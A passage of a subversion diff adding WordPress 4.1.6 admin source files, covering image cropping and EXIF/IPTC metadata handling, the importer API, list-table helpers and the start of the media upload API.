+	$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
+	if ( is_wp_error( $src ) )
+		return $src;
+
+	if ( ! $dst_file )
+		$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
+
+	/*
+	 * The directory containing the original file may no longer exist when
+	 * using a replication plugin.
+	 */
+	wp_mkdir_p( dirname( $dst_file ) );
+
+	$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
+
+	$result = $editor->save( $dst_file );
+	if ( is_wp_error( $result ) )
+		return $result;
+
+	return $dst_file;
+}
+
+/**
+ * Generate post thumbnail attachment meta data.
+ *
+ * @since 2.1.0
+ *
+ * @param int $attachment_id Attachment Id to process.
+ * @param string $file Filepath of the Attached image.
+ * @return mixed Metadata for attachment.
+ */
+function wp_generate_attachment_metadata( $attachment_id, $file ) {
+	$attachment = get_post( $attachment_id );
+
+	$metadata = array();
+	$support = false;
+	if ( preg_match('!^image/!', get_post_mime_type( $attachment )) && file_is_displayable_image($file) ) {
+		$imagesize = getimagesize( $file );
+		$metadata['width'] = $imagesize[0];
+		$metadata['height'] = $imagesize[1];
+
+		// Make the file path relative to the upload dir.
+		$metadata['file'] = _wp_relative_upload_path($file);
+
+		// Make thumbnails and other intermediate sizes.
+		global $_wp_additional_image_sizes;
+
+		$sizes = array();
+		foreach ( get_intermediate_image_sizes() as $s ) {
+			$sizes[$s] = array( 'width' => '', 'height' => '', 'crop' => false );
+			if ( isset( $_wp_additional_image_sizes[$s]['width'] ) )
+				$sizes[$s]['width'] = intval( $_wp_additional_image_sizes[$s]['width'] ); // For theme-added sizes
+			else
+				$sizes[$s]['width'] = get_option( "{$s}_size_w" ); // For default sizes set in options
+			if ( isset( $_wp_additional_image_sizes[$s]['height'] ) )
+				$sizes[$s]['height'] = intval( $_wp_additional_image_sizes[$s]['height'] ); // For theme-added sizes
+			else
+				$sizes[$s]['height'] = get_option( "{$s}_size_h" ); // For default sizes set in options
+			if ( isset( $_wp_additional_image_sizes[$s]['crop'] ) )
+				$sizes[$s]['crop'] = $_wp_additional_image_sizes[$s]['crop']; // For theme-added sizes
+			else
+				$sizes[$s]['crop'] = get_option( "{$s}_crop" ); // For default sizes set in options
+		}
+
+		/**
+		 * Filter the image sizes automatically generated when uploading an image.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $sizes An associative array of image sizes.
+		 */
+		$sizes = apply_filters( 'intermediate_image_sizes_advanced', $sizes );
+
+		if ( $sizes ) {
+			$editor = wp_get_image_editor( $file );
+
+			if ( ! is_wp_error( $editor ) )
+				$metadata['sizes'] = $editor->multi_resize( $sizes );
+		} else {
+			$metadata['sizes'] = array();
+		}
+
+		// Fetch additional metadata from EXIF/IPTC.
+		$image_meta = wp_read_image_metadata( $file );
+		if ( $image_meta )
+			$metadata['image_meta'] = $image_meta;
+
+	} elseif ( preg_match( '#^video/#', get_post_mime_type( $attachment ) ) ) {
+		$metadata = wp_read_video_metadata( $file );
+		$support = current_theme_supports( 'post-thumbnails', 'attachment:video' ) || post_type_supports( 'attachment:video', 'thumbnail' );
+	} elseif ( preg_match( '#^audio/#', get_post_mime_type( $attachment ) ) ) {
+		$metadata = wp_read_audio_metadata( $file );
+		$support = current_theme_supports( 'post-thumbnails', 'attachment:audio' ) || post_type_supports( 'attachment:audio', 'thumbnail' );
+	}
+
+	if ( $support && ! empty( $metadata['image']['data'] ) ) {
+		// Check for existing cover.
+		$hash = md5( $metadata['image']['data'] );
+		$posts = get_posts( array(
+			'fields' => 'ids',
+			'post_type' => 'attachment',
+			'post_mime_type' => $metadata['image']['mime'],
+			'post_status' => 'inherit',
+			'posts_per_page' => 1,
+			'meta_key' => '_cover_hash',
+			'meta_value' => $hash
+		) );
+		$exists = reset( $posts );
+
+		if ( ! empty( $exists ) ) {
+			update_post_meta( $attachment_id, '_thumbnail_id', $exists );
+		} else {
+			$ext = '.jpg';
+			switch ( $metadata['image']['mime'] ) {
+			case 'image/gif':
+				$ext = '.gif';
+				break;
+			case 'image/png':
+				$ext = '.png';
+				break;
+			}
+			$basename = str_replace( '.', '-', basename( $file ) ) . '-image' . $ext;
+			$uploaded = wp_upload_bits( $basename, '', $metadata['image']['data'] );
+			if ( false === $uploaded['error'] ) {
+				$image_attachment = array(
+					'post_mime_type' => $metadata['image']['mime'],
+					'post_type' => 'attachment',
+					'post_content' => '',
+				);
+				/**
+				 * Filter the parameters for the attachment thumbnail creation.
+				 *
+				 * @since 3.9.0
+				 *
+				 * @param array $image_attachment An array of parameters to create the thumbnail.
+				 * @param array $metadata         Current attachment metadata.
+				 * @param array $uploaded         An array containing the thumbnail path and url.
+				 */
+				$image_attachment = apply_filters( 'attachment_thumbnail_args', $image_attachment, $metadata, $uploaded );
+
+				$sub_attachment_id = wp_insert_attachment( $image_attachment, $uploaded['file'] );
+				add_post_meta( $sub_attachment_id, '_cover_hash', $hash );
+				$attach_data = wp_generate_attachment_metadata( $sub_attachment_id, $uploaded['file'] );
+				wp_update_attachment_metadata( $sub_attachment_id, $attach_data );
+				update_post_meta( $attachment_id, '_thumbnail_id', $sub_attachment_id );
+			}
+		}
+	}
+
+	// Remove the blob of binary data from the array.
+	if ( isset( $metadata['image']['data'] ) )
+		unset( $metadata['image']['data'] );
+
+	/**
+	 * Filter the generated attachment meta data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $metadata      An array of attachment meta data.
+	 * @param int   $attachment_id Current attachment ID.
+	 */
+	return apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id );
+}
+
+/**
+ * Convert a fraction string to a decimal.
+ *
+ * @since 2.5.0
+ *
+ * @param string $str
+ * @return int|float
+ */
+function wp_exif_frac2dec($str) {
+	@list( $n, $d ) = explode( '/', $str );
+	if ( !empty($d) )
+		return $n / $d;
+	return $str;
+}
+
+/**
+ * Convert the exif date format to a unix timestamp.
+ *
+ * @since 2.5.0
+ *
+ * @param string $str
+ * @return int
+ */
+function wp_exif_date2ts($str) {
+	@list( $date, $time ) = explode( ' ', trim($str) );
+	@list( $y, $m, $d ) = explode( ':', $date );
+
+	return strtotime( "{$y}-{$m}-{$d} {$time}" );
+}
+
+/**
+ * Get extended image metadata, exif or iptc as available.
+ *
+ * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso
+ * created_timestamp, focal_length, shutter_speed, and title.
+ *
+ * The IPTC metadata that is retrieved is APP13, credit, byline, created date
+ * and time, caption, copyright, and title. Also includes FNumber, Model,
+ * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime.
+ *
+ * @todo Try other exif libraries if available.
+ * @since 2.5.0
+ *
+ * @param string $file
+ * @return bool|array False on failure. Image metadata array on success.
+ */
+function wp_read_image_metadata( $file ) {
+	if ( ! file_exists( $file ) )
+		return false;
+
+	list( , , $sourceImageType ) = getimagesize( $file );
+
+	/*
+	 * EXIF contains a bunch of data we'll probably never need formatted in ways
+	 * that are difficult to use. We'll normalize it and just extract the fields
+	 * that are likely to be useful. Fractions and numbers are converted to
+	 * floats, dates to unix timestamps, and everything else to strings.
+	 */
+	$meta = array(
+		'aperture' => 0,
+		'credit' => '',
+		'camera' => '',
+		'caption' => '',
+		'created_timestamp' => 0,
+		'copyright' => '',
+		'focal_length' => 0,
+		'iso' => 0,
+		'shutter_speed' => 0,
+		'title' => '',
+		'orientation' => 0,
+	);
+
+	/*
+	 * Read IPTC first, since it might contain data not available in exif such
+	 * as caption, description etc.
+	 */
+	if ( is_callable( 'iptcparse' ) ) {
+		getimagesize( $file, $info );
+
+		if ( ! empty( $info['APP13'] ) ) {
+			$iptc = iptcparse( $info['APP13'] );
+
+			// Headline, "A brief synopsis of the caption."
+			if ( ! empty( $iptc['2#105'][0] ) ) {
+				$meta['title'] = trim( $iptc['2#105'][0] );
+			/*
+			 * Title, "Many use the Title field to store the filename of the image,
+			 * though the field may be used in many ways."
+			 */
+			} elseif ( ! empty( $iptc['2#005'][0] ) ) {
+				$meta['title'] = trim( $iptc['2#005'][0] );
+			}
+
+			if ( ! empty( $iptc['2#120'][0] ) ) { // description / legacy caption
+				$caption = trim( $iptc['2#120'][0] );
+				if ( empty( $meta['title'] ) ) {
+					mbstring_binary_safe_encoding();
+					$caption_length = strlen( $caption );
+					reset_mbstring_encoding();
+
+					// Assume the title is stored in 2:120 if it's short.
+					if ( $caption_length < 80 ) {
+						$meta['title'] = $caption;
+					} else {
+						$meta['caption'] = $caption;
+					}
+				} elseif ( $caption != $meta['title'] ) {
+					$meta['caption'] = $caption;
+				}
+			}
+
+			if ( ! empty( $iptc['2#110'][0] ) ) // credit
+				$meta['credit'] = trim( $iptc['2#110'][0] );
+			elseif ( ! empty( $iptc['2#080'][0] ) ) // creator / legacy byline
+				$meta['credit'] = trim( $iptc['2#080'][0] );
+
+			if ( ! empty( $iptc['2#055'][0] ) and ! empty( $iptc['2#060'][0] ) ) // created date and time
+				$meta['created_timestamp'] = strtotime( $iptc['2#055'][0] . ' ' . $iptc['2#060'][0] );
+
+			if ( ! empty( $iptc['2#116'][0] ) ) // copyright
+				$meta['copyright'] = trim( $iptc['2#116'][0] );
+		 }
+	}
+
+	/**
+	 * Filter the image types to check for exif data.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $image_types Image types to check for exif data.
+	 */
+	if ( is_callable( 'exif_read_data' ) && in_array( $sourceImageType, apply_filters( 'wp_read_image_metadata_types', array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) ) ) ) {
+		$exif = @exif_read_data( $file );
+
+		if ( empty( $meta['title'] ) && ! empty( $exif['Title'] ) ) {
+			$meta['title'] = trim( $exif['Title'] );
+		}
+
+		if ( ! empty( $exif['ImageDescription'] ) ) {
+			mbstring_binary_safe_encoding();
+			$description_length = strlen( $exif['ImageDescription'] );
+			reset_mbstring_encoding();
+
+			if ( empty( $meta['title'] ) && $description_length < 80 ) {
+				// Assume the title is stored in ImageDescription
+				$meta['title'] = trim( $exif['ImageDescription'] );
+				if ( empty( $meta['caption'] ) && ! empty( $exif['COMPUTED']['UserComment'] ) && trim( $exif['COMPUTED']['UserComment'] ) != $meta['title'] ) {
+					$meta['caption'] = trim( $exif['COMPUTED']['UserComment'] );
+				}
+			} elseif ( empty( $meta['caption'] ) && trim( $exif['ImageDescription'] ) != $meta['title'] ) {
+				$meta['caption'] = trim( $exif['ImageDescription'] );
+			}
+		} elseif ( empty( $meta['caption'] ) && ! empty( $exif['Comments'] ) && trim( $exif['Comments'] ) != $meta['title'] ) {
+			$meta['caption'] = trim( $exif['Comments'] );
+		}
+
+		if ( empty( $meta['credit'] ) ) {
+			if ( ! empty( $exif['Artist'] ) ) {
+				$meta['credit'] = trim( $exif['Artist'] );
+			} elseif ( ! empty($exif['Author'] ) ) {
+				$meta['credit'] = trim( $exif['Author'] );
+			}
+		}
+
+		if ( empty( $meta['copyright'] ) && ! empty( $exif['Copyright'] ) ) {
+			$meta['copyright'] = trim( $exif['Copyright'] );
+		}
+		if ( ! empty( $exif['FNumber'] ) ) {
+			$meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 );
+		}
+		if ( ! empty( $exif['Model'] ) ) {
+			$meta['camera'] = trim( $exif['Model'] );
+		}
+		if ( empty( $meta['created_timestamp'] ) && ! empty( $exif['DateTimeDigitized'] ) ) {
+			$meta['created_timestamp'] = wp_exif_date2ts( $exif['DateTimeDigitized'] );
+		}
+		if ( ! empty( $exif['FocalLength'] ) ) {
+			$meta['focal_length'] = (string) wp_exif_frac2dec( $exif['FocalLength'] );
+		}
+		if ( ! empty( $exif['ISOSpeedRatings'] ) ) {
+			$meta['iso'] = is_array( $exif['ISOSpeedRatings'] ) ? reset( $exif['ISOSpeedRatings'] ) : $exif['ISOSpeedRatings'];
+			$meta['iso'] = trim( $meta['iso'] );
+		}
+		if ( ! empty( $exif['ExposureTime'] ) ) {
+			$meta['shutter_speed'] = (string) wp_exif_frac2dec( $exif['ExposureTime'] );
+		}
+		if ( ! empty( $exif['Orientation'] ) ) {
+			$meta['orientation'] = $exif['Orientation'];
+		}
+	}
+
+	foreach ( array( 'title', 'caption', 'credit', 'copyright', 'camera', 'iso' ) as $key ) {
+		if ( $meta[ $key ] && ! seems_utf8( $meta[ $key ] ) ) {
+			$meta[ $key ] = utf8_encode( $meta[ $key ] );
+		}
+	}
+
+	foreach ( $meta as &$value ) {
+		if ( is_string( $value ) ) {
+			$value = wp_kses_post( $value );
+		}
+	}
+
+	/**
+	 * Filter the array of meta data read from an image's exif data.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array  $meta            Image meta data.
+	 * @param string $file            Path to image file.
+	 * @param int    $sourceImageType Type of image.
+	 */
+	return apply_filters( 'wp_read_image_metadata', $meta, $file, $sourceImageType );
+
+}
+
+/**
+ * Validate that file is an image.
+ *
+ * @since 2.5.0
+ *
+ * @param string $path File path to test if valid image.
+ * @return bool True if valid image, false if not valid image.
+ */
+function file_is_valid_image($path) {
+	$size = @getimagesize($path);
+	return !empty($size);
+}
+
+/**
+ * Validate that file is suitable for displaying within a web page.
+ *
+ * @since 2.5.0
+ *
+ * @param string $path File path to test.
+ * @return bool True if suitable, false if not suitable.
+ */
+function file_is_displayable_image($path) {
+	$displayable_image_types = array( IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_BMP );
+
+	$info = @getimagesize( $path );
+	if ( empty( $info ) ) {
+		$result = false;
+	} elseif ( ! in_array( $info[2], $displayable_image_types ) ) {
+		$result = false;
+	} else {
+		$result = true;
+	}
+
+	/**
+	 * Filter whether the current image is displayable in the browser.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool   $result Whether the image can be displayed. Default true.
+	 * @param string $path   Path to the image.
+	 */
+	return apply_filters( 'file_is_displayable_image', $result, $path );
+}
+
+/**
+ * Load an image resource for editing.
+ *
+ * @since 2.9.0
+ *
+ * @param string $attachment_id Attachment ID.
+ * @param string $mime_type Image mime type.
+ * @param string $size Optional. Image size, defaults to 'full'.
+ * @return resource|false The resulting image resource on success, false on failure.
+ */
+function load_image_to_edit( $attachment_id, $mime_type, $size = 'full' ) {
+	$filepath = _load_image_to_edit_path( $attachment_id, $size );
+	if ( empty( $filepath ) )
+		return false;
+
+	switch ( $mime_type ) {
+		case 'image/jpeg':
+			$image = imagecreatefromjpeg($filepath);
+			break;
+		case 'image/png':
+			$image = imagecreatefrompng($filepath);
+			break;
+		case 'image/gif':
+			$image = imagecreatefromgif($filepath);
+			break;
+		default:
+			$image = false;
+			break;
+	}
+	if ( is_resource($image) ) {
+		/**
+		 * Filter the current image being loaded for editing.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param resource $image         Current image.
+		 * @param string   $attachment_id Attachment ID.
+		 * @param string   $size          Image size.
+		 */
+		$image = apply_filters( 'load_image_to_edit', $image, $attachment_id, $size );
+		if ( function_exists('imagealphablending') && function_exists('imagesavealpha') ) {
+			imagealphablending($image, false);
+			imagesavealpha($image, true);
+		}
+	}
+	return $image;
+}
+
+/**
+ * Retrieve the path or url of an attachment's attached file.
+ *
+ * If the attached file is not present on the local filesystem (usually due to replication plugins),
+ * then the url of the file is returned if url fopen is supported.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $attachment_id Attachment ID.
+ * @param string $size Optional. Image size, defaults to 'full'.
+ * @return string|false File path or url on success, false on failure.
+ */
+function _load_image_to_edit_path( $attachment_id, $size = 'full' ) {
+	$filepath = get_attached_file( $attachment_id );
+
+	if ( $filepath && file_exists( $filepath ) ) {
+		if ( 'full' != $size && ( $data = image_get_intermediate_size( $attachment_id, $size ) ) ) {
+			/**
+			 * Filter the path to the current image.
+			 *
+			 * The filter is evaluated for all image sizes except 'full'.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param string $path          Path to the current image.
+			 * @param string $attachment_id Attachment ID.
+			 * @param string $size          Size of the image.
+			 */
+			$filepath = apply_filters( 'load_image_to_edit_filesystempath', path_join( dirname( $filepath ), $data['file'] ), $attachment_id, $size );
+		}
+	} elseif ( function_exists( 'fopen' ) && function_exists( 'ini_get' ) && true == ini_get( 'allow_url_fopen' ) ) {
+		/**
+		 * Filter the image URL if not in the local filesystem.
+		 *
+		 * The filter is only evaluated if fopen is enabled on the server.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $image_url     Current image URL.
+		 * @param string $attachment_id Attachment ID.
+		 * @param string $size          Size of the image.
+		 */
+		$filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
+	}
+
+	/**
+	 * Filter the returned path or URL of the current image.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string|bool $filepath      File path or URL to current image, or false.
+	 * @param string      $attachment_id Attachment ID.
+	 * @param string      $size          Size of the image.
+	 */
+	return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size );
+}
+
+/**
+ * Copy an existing image file.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $attachment_id Attachment ID.
+ * @return string|false New file path on success, false on failure.
+ */
+function _copy_image_file( $attachment_id ) {
+	$dst_file = $src_file = get_attached_file( $attachment_id );
+	if ( ! file_exists( $src_file ) )
+		$src_file = _load_image_to_edit_path( $attachment_id );
+
+	if ( $src_file ) {
+		$dst_file = str_replace( basename( $dst_file ), 'copy-' . basename( $dst_file ), $dst_file );
+		$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
+
+		/*
+		 * The directory containing the original file may no longer
+		 * exist when using a replication plugin.
+		 */
+		wp_mkdir_p( dirname( $dst_file ) );
+
+		if ( ! @copy( $src_file, $dst_file ) )
+			$dst_file = false;
+	} else {
+		$dst_file = false;
+	}
+
+	return $dst_file;
+}
Index: /tags/4.1.6/src/wp-admin/includes/import.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/import.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/import.php	(revision 33402)
@@ -0,0 +1,206 @@
+<?php
+/**
+ * WordPress Administration Importer API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Retrieve list of importers.
+ *
+ * @since 2.0.0
+ *
+ * @return array
+ */
+function get_importers() {
+	global $wp_importers;
+	if ( is_array( $wp_importers ) ) {
+		uasort( $wp_importers, '_usort_by_first_member' );
+	}
+	return $wp_importers;
+}
+
+/**
+ * Sorts a multidimensional array by first member of each top level member
+ *
+ * Used by uasort() as a callback, should not be used directly.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param array $a
+ * @param array $b
+ * @return int
+ */
+function _usort_by_first_member( $a, $b ) {
+	return strnatcasecmp( $a[0], $b[0] );
+}
+
+/**
+ * Register importer for WordPress.
+ *
+ * @since 2.0.0
+ *
+ * @param string $id Importer tag. Used to uniquely identify importer.
+ * @param string $name Importer name and title.
+ * @param string $description Importer description.
+ * @param callback $callback Callback to run.
+ * @return WP_Error Returns WP_Error when $callback is WP_Error.
+ */
+function register_importer( $id, $name, $description, $callback ) {
+	global $wp_importers;
+	if ( is_wp_error( $callback ) )
+		return $callback;
+	$wp_importers[$id] = array ( $name, $description, $callback );
+}
+
+/**
+ * Cleanup importer.
+ *
+ * Removes attachment based on ID.
+ *
+ * @since 2.0.0
+ *
+ * @param string $id Importer ID.
+ */
+function wp_import_cleanup( $id ) {
+	wp_delete_attachment( $id );
+}
+
+/**
+ * Handle importer uploading and add attachment.
+ *
+ * @since 2.0.0
+ *
+ * @return array Uploaded file's details on success, error message on failure
+ */
+function wp_import_handle_upload() {
+	if ( !isset($_FILES['import']) ) {
+		$file['error'] = __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' );
+		return $file;
+	}
+
+	$overrides = array( 'test_form' => false, 'test_type' => false );
+	$_FILES['import']['name'] .= '.txt';
+	$file = wp_handle_upload( $_FILES['import'], $overrides );
+
+	if ( isset( $file['error'] ) )
+		return $file;
+
+	$url = $file['url'];
+	$type = $file['type'];
+	$file = $file['file'];
+	$filename = basename( $file );
+
+	// Construct the object array
+	$object = array( 'post_title' => $filename,
+		'post_content' => $url,
+		'post_mime_type' => $type,
+		'guid' => $url,
+		'context' => 'import',
+		'post_status' => 'private'
+	);
+
+	// Save the data
+	$id = wp_insert_attachment( $object, $file );
+
+	/*
+	 * Schedule a cleanup for one day from now in case of failed
+	 * import or missing wp_import_cleanup() call.
+	 */
+	wp_schedule_single_event( time() + DAY_IN_SECONDS, 'importer_scheduled_cleanup', array( $id ) );
+
+	return array( 'file' => $file, 'id' => $id );
+}
+
+/**
+ * Returns a list from WordPress.org of popular importer plugins.
+ *
+ * @since 3.5.0
+ *
+ * @return array Importers with metadata for each.
+ */
+function wp_get_popular_importers() {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	$locale = get_locale();
+	$popular_importers = get_site_transient( 'popular_importers_' . $locale );
+
+	if ( ! $popular_importers ) {
+		$url = add_query_arg( 'locale', get_locale(), 'http://api.wordpress.org/core/importers/1.1/' );
+		$options = array( 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url() );
+		$response = wp_remote_get( $url, $options );
+		$popular_importers = json_decode( wp_remote_retrieve_body( $response ), true );
+
+		if ( is_array( $popular_importers ) )
+			set_site_transient( 'popular_importers_' . $locale, $popular_importers, 2 * DAY_IN_SECONDS );
+		else
+			$popular_importers = false;
+	}
+
+	if ( is_array( $popular_importers ) ) {
+		// If the data was received as translated, return it as-is.
+		if ( $popular_importers['translated'] )
+			return $popular_importers['importers'];
+
+		foreach ( $popular_importers['importers'] as &$importer ) {
+			$importer['description'] = translate( $importer['description'] );
+			if ( $importer['name'] != 'WordPress' )
+				$importer['name'] = translate( $importer['name'] );
+		}
+		return $popular_importers['importers'];
+	}
+
+	return array(
+		// slug => name, description, plugin slug, and register_importer() slug
+		'blogger' => array(
+			'name' => __( 'Blogger' ),
+			'description' => __( 'Install the Blogger importer to import posts, comments, and users from a Blogger blog.' ),
+			'plugin-slug' => 'blogger-importer',
+			'importer-id' => 'blogger',
+		),
+		'wpcat2tag' => array(
+			'name' => __( 'Categories and Tags Converter' ),
+			'description' => __( 'Install the category/tag converter to convert existing categories to tags or tags to categories, selectively.' ),
+			'plugin-slug' => 'wpcat2tag-importer',
+			'importer-id' => 'wp-cat2tag',
+		),
+		'livejournal' => array(
+			'name' => __( 'LiveJournal' ),
+			'description' => __( 'Install the LiveJournal importer to import posts from LiveJournal using their API.' ),
+			'plugin-slug' => 'livejournal-importer',
+			'importer-id' => 'livejournal',
+		),
+		'movabletype' => array(
+			'name' => __( 'Movable Type and TypePad' ),
+			'description' => __( 'Install the Movable Type importer to import posts and comments from a Movable Type or TypePad blog.' ),
+			'plugin-slug' => 'movabletype-importer',
+			'importer-id' => 'mt',
+		),
+		'opml' => array(
+			'name' => __( 'Blogroll' ),
+			'description' => __( 'Install the blogroll importer to import links in OPML format.' ),
+			'plugin-slug' => 'opml-importer',
+			'importer-id' => 'opml',
+		),
+		'rss' => array(
+			'name' => __( 'RSS' ),
+			'description' => __( 'Install the RSS importer to import posts from an RSS feed.' ),
+			'plugin-slug' => 'rss-importer',
+			'importer-id' => 'rss',
+		),
+		'tumblr' => array(
+			'name' => __( 'Tumblr' ),
+			'description' => __( 'Install the Tumblr importer to import posts &amp; media from Tumblr using their API.' ),
+			'plugin-slug' => 'tumblr-importer',
+			'importer-id' => 'tumblr',
+		),
+		'wordpress' => array(
+			'name' => 'WordPress',
+			'description' => __( 'Install the WordPress importer to import posts, pages, comments, custom fields, categories, and tags from a WordPress export file.' ),
+			'plugin-slug' => 'wordpress-importer',
+			'importer-id' => 'wordpress',
+		),
+	);
+}
Index: /tags/4.1.6/src/wp-admin/includes/list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/list-table.php	(revision 33402)
@@ -0,0 +1,113 @@
+<?php
+/**
+ * Helper functions for displaying a list of items in an ajaxified HTML table.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ */
+
+/**
+ * Fetch an instance of a WP_List_Table class.
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @param string $class The type of the list table, which is the class name.
+ * @param array $args Optional. Arguments to pass to the class. Accepts 'screen'.
+ * @return object|bool Object on success, false if the class does not exist.
+ */
+function _get_list_table( $class, $args = array() ) {
+	$core_classes = array(
+		//Site Admin
+		'WP_Posts_List_Table' => 'posts',
+		'WP_Media_List_Table' => 'media',
+		'WP_Terms_List_Table' => 'terms',
+		'WP_Users_List_Table' => 'users',
+		'WP_Comments_List_Table' => 'comments',
+		'WP_Post_Comments_List_Table' => 'comments',
+		'WP_Links_List_Table' => 'links',
+		'WP_Plugin_Install_List_Table' => 'plugin-install',
+		'WP_Themes_List_Table' => 'themes',
+		'WP_Theme_Install_List_Table' => array( 'themes', 'theme-install' ),
+		'WP_Plugins_List_Table' => 'plugins',
+		// Network Admin
+		'WP_MS_Sites_List_Table' => 'ms-sites',
+		'WP_MS_Users_List_Table' => 'ms-users',
+		'WP_MS_Themes_List_Table' => 'ms-themes',
+	);
+
+	if ( isset( $core_classes[ $class ] ) ) {
+		foreach ( (array) $core_classes[ $class ] as $required )
+			require_once( ABSPATH . 'wp-admin/includes/class-wp-' . $required . '-list-table.php' );
+
+		if ( isset( $args['screen'] ) )
+			$args['screen'] = convert_to_screen( $args['screen'] );
+		elseif ( isset( $GLOBALS['hook_suffix'] ) )
+			$args['screen'] = get_current_screen();
+		else
+			$args['screen'] = null;
+
+		return new $class( $args );
+	}
+
+	return false;
+}
+
+/**
+ * Register column headers for a particular screen.
+ *
+ * @since 2.7.0
+ *
+ * @param string $screen The handle for the screen to add help to. This is usually the hook name returned by the add_*_page() functions.
+ * @param array $columns An array of columns with column IDs as the keys and translated column names as the values
+ * @see get_column_headers(), print_column_headers(), get_hidden_columns()
+ */
+function register_column_headers($screen, $columns) {
+	$wp_list_table = new _WP_List_Table_Compat($screen, $columns);
+}
+
+/**
+ * Prints column headers for a particular screen.
+ *
+ * @since 2.7.0
+ */
+function print_column_headers($screen, $id = true) {
+	$wp_list_table = new _WP_List_Table_Compat($screen);
+
+	$wp_list_table->print_column_headers($id);
+}
+
+/**
+ * Helper class to be used only by back compat functions
+ *
+ * @since 3.1.0
+ */
+class _WP_List_Table_Compat extends WP_List_Table {
+	public $_screen;
+	public $_columns;
+
+	public function __construct( $screen, $columns = array() ) {
+		if ( is_string( $screen ) )
+			$screen = convert_to_screen( $screen );
+
+		$this->_screen = $screen;
+
+		if ( !empty( $columns ) ) {
+			$this->_columns = $columns;
+			add_filter( 'manage_' . $screen->id . '_columns', array( $this, 'get_columns' ), 0 );
+		}
+	}
+
+	protected function get_column_info() {
+		$columns = get_column_headers( $this->_screen );
+		$hidden = get_hidden_columns( $this->_screen );
+		$sortable = array();
+
+		return array( $columns, $hidden, $sortable );
+	}
+
+	public function get_columns() {
+		return $this->_columns;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/media.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/media.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/media.php	(revision 33402)
@@ -0,0 +1,3020 @@
+<?php
+/**
+ * WordPress Administration Media API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Defines the default media upload tabs
+ *
+ * @since 2.5.0
+ *
+ * @return array default tabs
+ */
+function media_upload_tabs() {
+	$_default_tabs = array(
+		'type' => __('From Computer'), // handler action suffix => tab text
+		'type_url' => __('From URL'),
+		'gallery' => __('Gallery'),
+		'library' => __('Media Library')
+	);
+
+	/**
+	 * Filter the available tabs in the legacy (pre-3.5.0) media popup.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $_default_tabs An array of media tabs.
+	 */
+	return apply_filters( 'media_upload_tabs', $_default_tabs );
+}
+
+/**
+ * Adds the gallery tab back to the tabs array if post has image attachments
+ *
+ * @since 2.5.0
+ *
+ * @param array $tabs
+ * @return array $tabs with gallery if post has image attachment
+ */
+function update_gallery_tab($tabs) {
+	global $wpdb;
+
+	if ( !isset($_REQUEST['post_id']) ) {
+		unset($tabs['gallery']);
+		return $tabs;
+	}
+
+	$post_id = intval($_REQUEST['post_id']);
+
+	if ( $post_id )
+		$attachments = intval( $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) ) );
+
+	if ( empty($attachments) ) {
+		unset($tabs['gallery']);
+		return $tabs;
+	}
+
+	$tabs['gallery'] = sprintf(__('Gallery (%s)'), "<span id='attachments-count'>$attachments</span>");
+
+	return $tabs;
+}
+add_filter('media_upload_tabs', 'update_gallery_tab');
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ */
+function the_media_upload_tabs() {
+	global $redir_tab;
+	$tabs = media_upload_tabs();
+	$default = 'type';
+
+	if ( !empty($tabs) ) {
+		echo "<ul id='sidemenu'>\n";
+		if ( isset($redir_tab) && array_key_exists($redir_tab, $tabs) ) {
+			$current = $redir_tab;
+		} elseif ( isset($_GET['tab']) && array_key_exists($_GET['tab'], $tabs) ) {
+			$current = $_GET['tab'];
+		} else {
+			/** This filter is documented in wp-admin/media-upload.php */
+			$current = apply_filters( 'media_upload_default_tab', $default );
+		}
+
+		foreach ( $tabs as $callback => $text ) {
+			$class = '';
+
+			if ( $current == $callback )
+				$class = " class='current'";
+
